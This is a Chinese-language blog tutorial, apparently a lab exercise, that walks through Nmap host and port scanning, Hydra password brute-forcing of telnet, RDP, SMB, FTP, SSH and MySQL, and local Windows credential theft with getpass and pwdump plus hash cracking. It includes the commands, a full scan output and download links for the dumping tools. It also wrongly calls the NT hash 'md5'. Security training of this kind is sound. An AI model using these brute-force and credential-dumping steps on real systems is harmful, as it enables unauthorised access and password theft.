nmap扫描 & hydra爆破 & 本地密码爆破

我就是我 2022-11-30 04:22 991阅读 0赞

**目录**

一、基础知识

扫描技术

主机探测与端口扫描

\-  Nmap-扫描器之王

\- 九头蛇Hydra

本地破解

本地暴力破解：

二、实验过程

2.1 Nmap扫描

2.2 Hydra爆破密码

3 本地密码爆破

--------------------

# 一、基础知识 #

## **扫描技术** ##

一个一个ping？

手工与工具相结合

## 主机探测与端口扫描 ##

主机测探是指确定目标主机是否存活。

端口扫描就是寻找在线主机所开放的端口，并且在端口上所运行的服务。甚至可以进一步确定目标主机操作系统类型和更详细的信息

\-  基础知识

@  常见端口号

<table> 
 <tbody> 
 <tr> 
 <td style="vertical-align:top;width:103.7pt;"> 21 </td> 
 <td style="vertical-align:top;width:103.7pt;"> FTP </td> 
 <td style="vertical-align:top;width:103.7pt;"> 443 </td> 
 <td style="vertical-align:top;width:103.7pt;"> HTTPS </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:103.7pt;"> 22 </td> 
 <td style="vertical-align:top;width:103.7pt;"> SSH </td> 
 <td style="vertical-align:top;width:103.7pt;"> 1433 </td> 
 <td style="vertical-align:top;width:103.7pt;"> SQL Server </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:103.7pt;"> 23 </td> 
 <td style="vertical-align:top;width:103.7pt;"> Telnet </td> 
 <td style="vertical-align:top;width:103.7pt;"> 1521 </td> 
 <td style="vertical-align:top;width:103.7pt;"> Oracle </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:103.7pt;"> 25 </td> 
 <td style="vertical-align:top;width:103.7pt;"> SMTP </td> 
 <td style="vertical-align:top;width:103.7pt;"> 3306 </td> 
 <td style="vertical-align:top;width:103.7pt;"> MySQL </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:103.7pt;"> 80 </td> 
 <td style="vertical-align:top;width:103.7pt;"> HTTP </td> 
 <td style="vertical-align:top;width:103.7pt;"> 3389 </td> 
 <td style="vertical-align:top;width:103.7pt;"> RDP </td> 
 </tr> 
 </tbody> 
</table>

## \-  Nmap-扫描器之王 ##

\-  重要常用参数

<table> 
 <tbody> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -sP </td> 
 <td style="vertical-align:top;width:207.4pt;"> ping 扫描 </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -p </td> 
 <td style="vertical-align:top;width:207.4pt;"> 指定端口范围 </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -sV </td> 
 <td style="vertical-align:top;width:207.4pt;"> 服务版本探测 </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -O（大写） </td> 
 <td style="vertical-align:top;width:207.4pt;"> 启用操作系统探测 </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -A </td> 
 <td style="vertical-align:top;width:207.4pt;"> 全面扫描 </td> 
 </tr> 
 <tr> 
 <td style="vertical-align:top;width:207.4pt;"> -oN </td> 
 <td style="vertical-align:top;width:207.4pt;"> 保存txt </td> 
 </tr> 
 </tbody> 
</table>

Nmap  -sP  10.1.1.1/24  扫描10.1.1.0整个网段

Nmap  -p  21,23-25,3389 10.1.1.1

Nmap  -p  21,23 10.1.1.1 -sV  扫描21,23的服务版本

Nmap  -A  10.1.1.1  全面扫描

Nmap  -O  10.1.1.1  扫描目标系统版本

Namp  -p  21,23  10.1.1.1  -oN  e:\\result.txt

## \- 九头蛇Hydra ##

Hydra -l a -p 123 10.1.1.1 telnet

Hydra -l a -P e:\\pass.txt  10.1.1.1 telnet

Hydra -l a -P e:\\pass.txt  10.1.1.1 rdp

Hydra -l a -P e:\\pass.txt  10.1.1.1 smb

Hydra -l a -P e:\\pass.txt  10.1.1.1 ftp

Hydra -l a -P e:\\pass.txt  10.1.1.1 ssh

Hydra -l a -P e:\\pass.txt  10.1.1.1 mysql

Hydra -L e:\\user.txt -P e:\\pass.txt  10.1.1.1 telnet

## 本地破解 ##

Getpass   从内存中提取密码

## 本地暴力破解： ##

Pwdump 提取sam中的HASH值

手工将hash值存储到hash.txt中

使用saminside软件进行hash暴力破解

实验1：

在真实机上使用nmap及hydra对虚拟机2003做扫描及爆破（对FTP、telnet、rdp、smb）

实验2：

在win7或2003中虚拟机中。练习本地系统密码爆破

--------------------

# 二、实验过程 #

## 2.1 Nmap扫描 ##

Nmap下载地址：

[https://nmap.org/download.html][https_nmap.org_download.html]

安装完成之后将安装路径加入系统环境变量就可以在cmd窗口使用nmap命令。

探测某个**主机是否存活**（这是我另一台电脑的IP）：

![20200823223244545.png][]

--------------------

可以看到这个**网段有哪些主机**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70][]

--------------------

我想看看这个地址是什么**操作系统**：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 1][]

--------------------

我只关心他是不是开了21**端口**：（从前面得知确实是关着的。）多个端口之间加逗号就行

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 2][]

--------------------

我想知道端口开没开之外还想知道这个**服务的版本**。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 3][]

--------------------

**全面扫描**：——啥都想知道

> C:\\Users\\ge>nmap -A 10.1.1.1 
> Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 23:00 ?D1ú±ê×?ê±?? 
> mass\_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. 
>  Try using --system-dns or specify valid servers with --dns-servers 
> Nmap scan report for 10.1.1.1 
> Host is up (0.00032s latency). 
> Not shown: 989 closed ports 
> PORT      STATE SERVICE      VERSION 
> 23/tcp    open  telnet       Microsoft Windows XP telnetd 
> | telnet-ntlm-info: 
> |   Target\_Name: WIN-LG37JJDQ949 
> |   NetBIOS\_Domain\_Name: WIN-LG37JJDQ949 
> |   NetBIOS\_Computer\_Name: WIN-LG37JJDQ949 
> |   DNS\_Domain\_Name: WIN-LG37JJDQ949 
> |   DNS\_Computer\_Name: WIN-LG37JJDQ949 
> |\_  Product\_Version: 6.1.7601 
> 135/tcp   open  msrpc        Microsoft Windows RPC 
> 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn 
> 445/tcp   open  microsoft-ds Windows Server 2008 R2 Enterprise 7601 Service Pack 
>  1 microsoft-ds 
> 3389/tcp  open  tcpwrapped 
> | rdp-ntlm-info: 
> |   Target\_Name: WIN-LG37JJDQ949 
> |   NetBIOS\_Domain\_Name: WIN-LG37JJDQ949 
> |   NetBIOS\_Computer\_Name: WIN-LG37JJDQ949 
> |   DNS\_Domain\_Name: WIN-LG37JJDQ949 
> |   DNS\_Computer\_Name: WIN-LG37JJDQ949 
> |   Product\_Version: 6.1.7601 
> |\_  System\_Time: 2020-08-23T15:01:12+00:00 
> | ssl-cert: Subject: commonName=WIN-LG37JJDQ949 
> | Not valid before: 2020-08-22T10:49:17 
> |\_Not valid after:  2021-02-21T10:49:17 
> |\_ssl-date: 2020-08-23T15:01:47+00:00; +1s from scanner time. 
> 49152/tcp open  msrpc        Microsoft Windows RPC 
> 49153/tcp open  msrpc        Microsoft Windows RPC 
> 49154/tcp open  msrpc        Microsoft Windows RPC 
> 49155/tcp open  msrpc        Microsoft Windows RPC 
> 49156/tcp open  msrpc        Microsoft Windows RPC 
> 49157/tcp open  msrpc        Microsoft Windows RPC 
> MAC Address: 00:0C:29:71:AB:38 (VMware) 
> Device type: general purpose 
> Running: Microsoft Windows 7|2008|8.1 
> OS CPE: cpe:/o:microsoft:windows\_7::- cpe:/o:microsoft:windows\_7::sp1 cpe:/o:mic 
> rosoft:windows\_server\_2008::sp1 cpe:/o:microsoft:windows\_server\_2008:r2 cpe:/o:m 
> icrosoft:windows\_8 cpe:/o:microsoft:windows\_8.1 
> OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Serv 
> er 2008 R2, Windows 8, or Windows 8.1 Update 1 
> Network Distance: 1 hop 
> Service Info: OSs: Windows XP, Windows, Windows Server 2008 R2 - 2012; CPE: cpe: 
> /o:microsoft:windows\_xp, cpe:/o:microsoft:windows
> 
> Host script results: 
> |\_clock-skew: mean: -1h19m59s, deviation: 3h15m57s, median: 0s 
> |\_nbstat: NetBIOS name: WIN-LG37JJDQ949, NetBIOS user: <unknown>, NetBIOS MAC: 0 
> 0:0c:29:71:ab:38 (VMware) 
> | smb-os-discovery: 
> |   OS: Windows Server 2008 R2 Enterprise 7601 Service Pack 1 (Windows Server 20 
> 08 R2 Enterprise 6.1) 
> |   OS CPE: cpe:/o:microsoft:windows\_server\_2008::sp1 
> |   Computer name: WIN-LG37JJDQ949 
> |   NetBIOS computer name: WIN-LG37JJDQ949\\x00 
> |   Workgroup: WORKGROUP\\x00 
> |\_  System time: 2020-08-23T23:01:12+08:00 
> | smb-security-mode: 
> |   account\_used: guest 
> |   authentication\_level: user 
> |   challenge\_response: supported 
> |\_  message\_signing: disabled (dangerous, but default) 
> | smb2-security-mode: 
> |   2.02: 
> |\_    Message signing enabled but not required 
> | smb2-time: 
> |   date: 2020-08-23T15:01:12 
> |\_  start\_date: 2020-08-22T14:43:43
> 
> TRACEROUTE 
> HOP RTT     ADDRESS 
> 1   0.32 ms 10.1.1.1
> 
> OS and Service detection performed. Please report any incorrect results at https 
> ://nmap.org/submit/ . 
> Nmap done: 1 IP address (1 host up) scanned in 100.11 seconds

--------------------

扫描目标机操作系统状况**另存为文本**。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 4][]

--------------------

## 2.2 Hydra爆破密码 ##

去解压的目录下

按住Shift打开命令窗口。

（-P 跟密码字典文件路径；-p 跟密码）

（-L 跟用户名字典文件路径；-l 跟用户名）

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 5][]

爆破445；

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 6][]

要是3389就是rdp

--------------------

# 3 本地密码爆破 #

getpass： [https://lanzous.com/ibmjwba][https_lanzous.com_ibmjwba]

get pass 漏洞：系统登陆后会把密码保存在内存中       **win10 已经修复**

过程：用 cmd 运行 getpass.exe 即可

--------------------

把本地的sam文件用 pwdump 获取登陆 hash （微软早期用LM哈希值，最多支持14位密码，不用理睬；现在是NT哈希值，也叫md5），然后暴力破解md5（saminside，找个在线网站也行）

pwdump： [https://lanzous.com/ibmjwaj][https_lanzous.com_ibmjwaj]

[https_nmap.org_download.html]: https://nmap.org/download.html
[20200823223244545.png]: /images/20221124/7d739124ebad4e89b9f10e44c1abcabe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70]: /images/20221124/0c017b64be744e51a58157b3c6a5197d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 1]: /images/20221124/a9e8b6f33864430692f33c4b181acc06.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 2]: /images/20221124/21b67bdadf934a1d9070f945679b4501.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 3]: /images/20221124/4b5509801e524959b1455022946531f6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 4]: /images/20221124/34ce7da9d74246ccae05a38c223bc86c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 5]: /images/20221124/965c7c563afa4c46b8f56cac958b6c5d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RyaWZ0ZXJfR2FsYXh5_size_16_color_FFFFFF_t_70 6]: /images/20221124/edd6f823ef4440939087a1d8ad1e00a5.png
[https_lanzous.com_ibmjwba]: https://lanzous.com/ibmjwba
[https_lanzous.com_ibmjwaj]: https://lanzous.com/ibmjwaj